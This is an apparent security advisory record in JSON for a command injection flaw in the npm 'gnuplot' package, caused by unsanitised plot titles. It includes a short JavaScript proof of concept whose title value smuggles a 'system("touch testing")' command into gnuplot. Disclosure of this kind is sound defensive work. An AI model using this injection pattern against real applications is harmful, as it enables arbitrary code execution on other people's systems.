{"id":"GHSA-cfwc-xjfp-44jg","aliases":[],"url":"https://o3.security/vulnerability/GHSA-cfwc-xjfp-44jg","summary":"Command Injection in gnuplot","details":"All versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar gnuplot = require('gnuplot');\n\nconst title = '\"\\nset title system(\"touch testing\")\\n#';\n\ngnuplot()\n.set('term png')\n.set('output \"out.png\"')\n.set(`title \"${title}\"`)\n.set('xrange [-10:10]')\n.set('yrange [-2:2]')\n.set('zeroaxis')\n.plot('(x/4)**2, sin(x), 1/x')\n.end();\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","published":"2020-09-04T17:19:48Z","modified":"2020-08-31T18:59:23Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"gnuplot","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://www.npmjs.com/advisories/1440"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2020-08-31T18:59:23Z"}}